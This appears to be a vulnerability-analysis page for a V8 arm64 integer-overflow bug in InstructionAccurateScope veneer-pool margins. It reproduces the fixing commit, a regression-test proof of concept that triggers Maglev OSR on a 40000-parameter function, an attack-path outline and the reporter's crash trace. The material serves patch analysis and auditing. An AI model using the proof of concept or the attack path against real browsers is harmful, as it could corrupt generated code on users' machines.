Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInteger overflow in V8
DescriptionInteger overflow in V8
ComponentV8
Sub-componentARM64
Bug ClassInteger Overflow
Action tierwatch — corruption primitive but gated (uncommon) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker425583995
Fix commitc58fda1f0ec4 (v8/v8) +53/-11
CWECWE-472
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedShaheen Fazim
Reported2025-06-17 · bounty $7000 (per vendor advisory)
Fix landed2025-06-27 (public git)
Disclosed2025-07-15
Patch gap18 days — fix public in source before the advisory

Background

`InstructionAccurateScope`
an arm64 RAII scope that blocks veneer/constant-pool emission so a fixed, exact number of instructions is generated between construction and destruction.
Veneer pool
a region of trampoline instructions the arm64 assembler periodically emits so out-of-range branches can still be reached; CheckVeneerPool decides when to emit it based on a distance margin.
`count` argument
the promised instruction count passed to the scope; multiplied by kInstrSize it tells CheckVeneerPool how much margin to reserve so the pool is not emitted in the middle of the protected block.
CFI (`V8_ENABLE_CONTROL_FLOW_INTEGRITY`)
a build mode that adds an extra landing-pad/pointer-authentication instruction, changing the exact instruction count of prologue/epilogue sequences.

Root Cause Analysis

Before the patch, InstructionAccurateScope’s constructor defaulted count to 0, and several callers (MacroAssembler::Push/Pop via the PushHelper/PopHelper context, and PushCalleeSavedRegisters/PopCalleeSavedRegisters) created the scope without stating how many instructions they would emit. With count == 0, the constructor called masm_->CheckVeneerPool(false, true, 0), reserving zero margin for the block it was about to protect. The scope then blocked veneer-pool generation while real instructions were emitted, so on the next CheckVeneerPool (after the scope ended) the accumulated distance to pending branches could exceed the veneer margin — the integer overflow of the veneer distance margin described in the commit message.

The fix requires an explicit non-zero count (DCHECK_GT(count, 0)), passes the true instruction count for the callee-saved routines (kInstrCount = 10, or 11 under CFI) and count <= 2 ? 1 : 2 for the push/pop helpers, so the constructor reserves the correct margin up front and the veneer distance can no longer overflow past the check.

Key insight
The scope was constructed with a default count of 0, so it reserved no veneer-pool margin for the instructions it was about to protect; the fix makes count mandatory and supplies the real instruction count so CheckVeneerPool accounts for the block before it is blocked.

Attack Path

  1. Force generation of a large arm64 code object Drive V8 into optimizing (Maglev) a function with an extreme argument count so a very large body is emitted, per the regression test’s new Function with 40000 parameters and repeated %OptimizeOsr().
  2. Reach the mis-sized scope Code generation invokes the register push/pop or callee-saved save/restore helpers, which entered InstructionAccurateScope with the default count == 0 and thus reserved zero veneer margin.
  3. Overflow the veneer distance margin With the pool blocked but no margin reserved, the far-branch distance accumulates until the subsequent CheckVeneerPool overflows its int32 distance computation, so a needed veneer is not emitted in range (inferred as to the exact overflowed distance variable, which the diff does not show).
  4. Emit incorrect branch/code The assembler produces a branch that cannot reach its (now displaced) target, resulting in corrupted generated machine code (inferred).

Impact Assessment

An attacker who can run script that triggers optimization of a sufficiently large function can cause the arm64 code generator to miscompute the veneer distance margin and emit incorrect code, an integer-overflow condition in V8 code generation. The advisory classes this as an integer overflow in V8 with no statement of exploitation in the wild; any escalation to a controlled read/write or code execution from the miscompiled branch is (inferred) and not demonstrated by the patch. Preconditions are arm64 and the ability to reach the affected push/pop/callee-saved codegen paths with a large enough body.

Changed Functions

FunctionChangeNotes
V8_NODISCARD
src/codegen/arm64/macro-assembler-arm64.h
modified
if
src/codegen/arm64/macro-assembler-arm64.h
modified
for
test/mjsunit/regress/regress-425583995.js
modified

Files Changed

  • src/codegen/arm64/macro-assembler-arm64.cc
  • src/codegen/arm64/macro-assembler-arm64.h
  • test/mjsunit/regress/regress-425583995.js

Audit Directions

  • Default-zero scope counts
    Search other InstructionAccurateScope (and analogous block-pool/const-pool scopes on arm64/arm) constructions that relied on the former default count == 0 and thus reserve no pool margin.
  • CFI-dependent instruction counts
    Review fixed instruction-count assumptions in prologue/epilogue and other hand-counted sequences that change under V8_ENABLE_CONTROL_FLOW_INTEGRITY or pointer authentication.
  • Veneer/constant-pool margin arithmetic
    Audit CheckVeneerPool and its distance/margin computations for int32 overflow when very large code objects are generated (e.g. functions with huge argument counts under Maglev/OSR).
From c58fda1f0ec46429dd66c2cacf6a98fac001e4fd Mon Sep 17 00:00:00 2001
From: Victor Gomes <[email protected]>
Date: Fri, 27 Jun 2025 12:40:10 +0200
Subject: [PATCH] [arm64] Ensure InstructionAccurateScope is called with correct count

The scope prevents veneer pool generation. We need to pass the
correct count of instructions to CheckVeneerPool inside the scope
constructor, otherwise we might overflow the veneer distance
margin in the next check (after the scope has ended).

Fixed: 425583995
Change-Id: Iebb81898c4f7999137fc784ce6704773614c2bb5
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6683635
Auto-Submit: Victor Gomes <[email protected]>
Commit-Queue: Victor Gomes <[email protected]>
Commit-Queue: Igor Sheludko <[email protected]>
Reviewed-by: Igor Sheludko <[email protected]>
Cr-Commit-Position: refs/heads/main@{#101089}
---

diff --git a/src/codegen/arm64/macro-assembler-arm64.cc b/src/codegen/arm64/macro-assembler-arm64.cc
index 74b995e..59c9aa6 100644
--- a/src/codegen/arm64/macro-assembler-arm64.cc
+++ b/src/codegen/arm64/macro-assembler-arm64.cc
@@ -1301,7 +1301,7 @@
                                 const CPURegister& src2,
                                 const CPURegister& src3) {
   // Ensure that we don't unintentially modify scratch or debug registers.
-  InstructionAccurateScope scope(this);
+  InstructionAccurateScope scope(this, count <= 2 ? 1 : 2);
 
   DCHECK(AreSameSizeAndType(src0, src1, src2, src3));
   DCHECK(size == src0.SizeInBytes());
@@ -1338,7 +1338,7 @@
                                const CPURegister& dst1, const CPURegister& dst2,
                                const CPURegister& dst3) {
   // Ensure that we don't unintentially modify scratch or debug registers.
-  InstructionAccurateScope scope(this);
+  InstructionAccurateScope scope(this, count <= 2 ? 1 : 2);
 
   DCHECK(AreSameSizeAndType(dst0, dst1, dst2, dst3));
   DCHECK(size == dst0.SizeInBytes());
@@ -1388,8 +1388,14 @@
 
 void MacroAssembler::PushCalleeSavedRegisters() {
   ASM_CODE_COMMENT(this);
+#ifdef V8_ENABLE_CONTROL_FLOW_INTEGRITY
+  constexpr int kInstrCount = 11;
+#else
+  constexpr int kInstrCount = 10;
+#endif
+
   // Ensure that the macro-assembler doesn't use any scratch registers.
-  InstructionAccurateScope scope(this);
+  InstructionAccurateScope scope(this, kInstrCount);
 
   MemOperand tos(sp, -2 * static_cast<int>(kXRegSize), PreIndex);
 
@@ -1422,8 +1428,14 @@
 
 void MacroAssembler::PopCalleeSavedRegisters() {
   ASM_CODE_COMMENT(this);
+#ifdef V8_ENABLE_CONTROL_FLOW_INTEGRITY
+  constexpr int kInstrCount = 11;
+#else
+  constexpr int kInstrCount = 10;
+#endif
+
   // Ensure that the macro-assembler doesn't use any scratch registers.
-  InstructionAccurateScope scope(this);
+  InstructionAccurateScope scope(this, kInstrCount);
 
   MemOperand tos(sp, 2 * kXRegSize, PostIndex);
 
diff --git a/src/codegen/arm64/macro-assembler-arm64.h b/src/codegen/arm64/macro-assembler-arm64.h
index b9ca871..84cc32e 100644
--- a/src/codegen/arm64/macro-assembler-arm64.h
+++ b/src/codegen/arm64/macro-assembler-arm64.h
@@ -2494,7 +2494,7 @@
 // emitted is what you specified when creating the scope.
 class V8_NODISCARD InstructionAccurateScope {
  public:
-  explicit InstructionAccurateScope(MacroAssembler* masm, size_t count = 0)
+  explicit InstructionAccurateScope(MacroAssembler* masm, size_t count)
       : masm_(masm),
         block_pool_(masm, count * kInstrSize)
 #ifdef DEBUG
@@ -2502,12 +2502,11 @@
         size_(count * kInstrSize)
 #endif
   {
+    DCHECK_GT(count, 0);
     masm_->CheckVeneerPool(false, true, count * kInstrSize);
     masm_->StartBlockVeneerPool();
 #ifdef DEBUG
-    if (count != 0) {
-      masm_->bind(&start_);
-    }
+    masm_->bind(&start_);
     previous_allow_macro_instructions_ = masm_->allow_macro_instructions();
     masm_->set_allow_macro_instructions(false);
 #endif
@@ -2516,9 +2515,7 @@
   ~InstructionAccurateScope() {
     masm_->EndBlockVeneerPool();
 #ifdef DEBUG
-    if (start_.is_bound()) {
-      DCHECK(masm_->SizeOfCodeGeneratedSince(&start_) == size_);
-    }
+    DCHECK(masm_->SizeOfCodeGeneratedSince(&start_) == size_);
     masm_->set_allow_macro_instructions(previous_allow_macro_instructions_);
 #endif
   }
diff --git a/test/mjsunit/regress/regress-425583995.js b/test/mjsunit/regress/regress-425583995.js
new file mode 100644
index 0000000..eaed312c
--- /dev/null
+++ b/test/mjsunit/regress/regress-425583995.js
@@ -0,0 +1,33 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+const topLevel = %GetFunctionForCurrentFrame();
+%PrepareFunctionForOptimization(topLevel);
+
+function g(
+  // Too many arguments to fit here manually and overflow int32 calculation
+) {
+  return arguments.length + 1;
+}
+
+var num_args = 40000; // large number to cause overflow
+
+// Construct argument list string
+var argsList = "";
+for (var i = 0; i < num_args; i++) argsList += "a" + i + ",";
+argsList = argsList.slice(0, -1);
+
+// Construct function source to return sum of all args
+var body = "return arguments.length + 1;";
+
+// Create large argument function dynamically
+var bigArgFunc = new Function(argsList, body);
+
+// Call many times to trigger OSR in v8 maglev
+for (var i = 0; i < 2; i++) {
+  bigArgFunc(0);
+  %OptimizeOsr();
+}
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/regress-425583995.js b/test/mjsunit/regress/regress-425583995.js
new file mode 100644
index 0000000..eaed312c
--- /dev/null
+++ b/test/mjsunit/regress/regress-425583995.js
@@ -0,0 +1,33 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+const topLevel = %GetFunctionForCurrentFrame();
+%PrepareFunctionForOptimization(topLevel);
+
+function g(
+  // Too many arguments to fit here manually and overflow int32 calculation
+) {
+  return arguments.length + 1;
+}
+
+var num_args = 40000; // large number to cause overflow
+
+// Construct argument list string
+var argsList = "";
+for (var i = 0; i < num_args; i++) argsList += "a" + i + ",";
+argsList = argsList.slice(0, -1);
+
+// Construct function source to return sum of all args
+var body = "return arguments.length + 1;";
+
+// Create large argument function dynamically
+var bigArgFunc = new Function(argsList, body);
+
+// Call many times to trigger OSR in v8 maglev
+for (var i = 0; i < 2; i++) {
+  bigArgFunc(0);
+  %OptimizeOsr();
+}
Loading diff…

Original Bug Report

reported by [email protected]

Debug check failed: pc_offset() < unresolved_branches_first_limit()


#
# Fatal error in ../../src/codegen/arm64/assembler-arm64.cc, line 4917
# Debug check failed: pc_offset() < unresolved_branches_first_limit().
#
#
#
#FailureMessage Object: 0x16d305468
==== C stack trace ===============================

    0   libv8_libbase.dylib                 0x0000000104389ee8 v8::base::debug::StackTrace::StackTrace() + 24
    1   libv8_libplatform.dylib             0x00000001043c67c8 v8::platform::(anonymous namespace)::PrintStackTrace() + 116
    2   libv8_libbase.dylib                 0x000000010436d5cc V8_Fatal(char const*, int, char const*, ...) + 352
    3   libv8_libbase.dylib                 0x000000010436ced0 v8::base::SetFatalFunction(void (*)(char const*, int, char const*)) + 0
    4   libv8.dylib                         0x000000010c96b6dc v8::internal::Assembler::CheckVeneerPool(bool, bool, unsigned long) + 232
    5   libv8.dylib                         0x000000010aeb3208 v8::internal::Assembler::Emit(unsigned int) + 132
    6   libv8.dylib                         0x000000010c96bc8c v8::internal::Assembler::EmitVeneers(bool, bool, unsigned long) + 908
    7   libv8.dylib                         0x000000010c977f14 v8::internal::MacroAssembler::PushHelper(int, int, v8::internal::CPURegister const&, v8::internal::CPURegister const&, v8::internal::CPURegister const&, v8::internal::CPURegister const&) + 136
    8   libv8.dylib                         0x000000010c3a8d48 void v8::internal::maglev::detail::PushIteratorReverse<v8::internal::maglev::RepeatIterator<v8::internal::Register>>(v8::internal::maglev::MaglevAssembler*, v8::base::iterator_range<v8::internal::maglev::RepeatIterator<v8::internal::Register>>) + 324
    9   libv8.dylib                         0x000000010c3a8aec void v8::internal::maglev::detail::PushIteratorReverse<std::__Cr::reverse_iterator<v8::internal::maglev::Input*>, v8::base::iterator_range<v8::internal::maglev::RepeatIterator<v8::internal::Register>>>(v8::internal::maglev::MaglevAssembler*, v8::base::iterator_range<std::__Cr::reverse_iterator<v8::internal::maglev::Input*>>, v8::base::iterator_range<v8::internal::maglev::RepeatIterator<v8::internal::Register>>) + 108
    10  libv8.dylib                         0x000000010c35ff7c v8::internal::maglev::CallKnownJSFunction::GenerateCode(v8::internal::maglev::MaglevAssembler*, v8::internal::maglev::ProcessingState const&) + 356
    11  libv8.dylib                         0x000000010bf32110 v8::internal::maglev::ProcessResult v8::internal::maglev::NodeMultiProcessor<v8::internal::maglev::(anonymous namespace)::SafepointingNodeProcessor, v8::internal::maglev::(anonymous namespace)::MaglevCodeGeneratingNodeProcessor>::Process<v8::internal::maglev::CallKnownJSFunction>(v8::internal::maglev::CallKnownJSFunction*, v8::internal::maglev::ProcessingState const&) + 1160
    12  libv8.dylib                         0x000000010beef718 v8::internal::maglev::MaglevCodeGenerator::EmitCode() + 7092
    13  libv8.dylib                         0x000000010beed8d4 v8::internal::maglev::MaglevCodeGenerator::Assemble() + 48
    14  libv8.dylib                         0x000000010bfc82f0 v8::internal::maglev::MaglevCompiler::Compile(v8::internal::LocalIsolate*, v8::internal::maglev::MaglevCompilationInfo*) + 5532
    15  libv8.dylib                         0x000000010c0e514c v8::internal::maglev::MaglevCompilationJob::ExecuteJobImpl(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*) + 96
    16  libv8.dylib                         0x000000010af9587c v8::internal::OptimizedCompilationJob::ExecuteJob(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*) + 160
    17  libv8.dylib                         0x000000010c0e718c v8::internal::maglev::MaglevConcurrentDispatcher::JobTask::Run(v8::JobDelegate*) + 856
    18  libv8_libplatform.dylib             0x00000001043c52cc v8::platform::DefaultJobWorker::Run() + 292
    19  libv8_libplatform.dylib             0x00000001043c7d0c v8::platform::DefaultWorkerThreadsTaskRunner::WorkerThread::Run() + 276
    20  libv8_libbase.dylib                 0x00000001043882ec v8::base::ThreadEntry(void*) + 180
    21  libsystem_pthread.dylib             0x00000001911fac0c _pthread_start + 136
    22  libsystem_pthread.dylib             0x00000001911f5b80 thread_start + 8
zsh: trace trap  ./v8/v8/out/debug/d8 poc.js

VERSION

V8 version 13.9.0 (candidate)

REPRODUCTION CASE

Build: v8 Debug build, MacOS arm64

Run: ./d8 poc.js


Reporter credit: Shaheen Fazim

View on issue tracker
Uploaded PoC files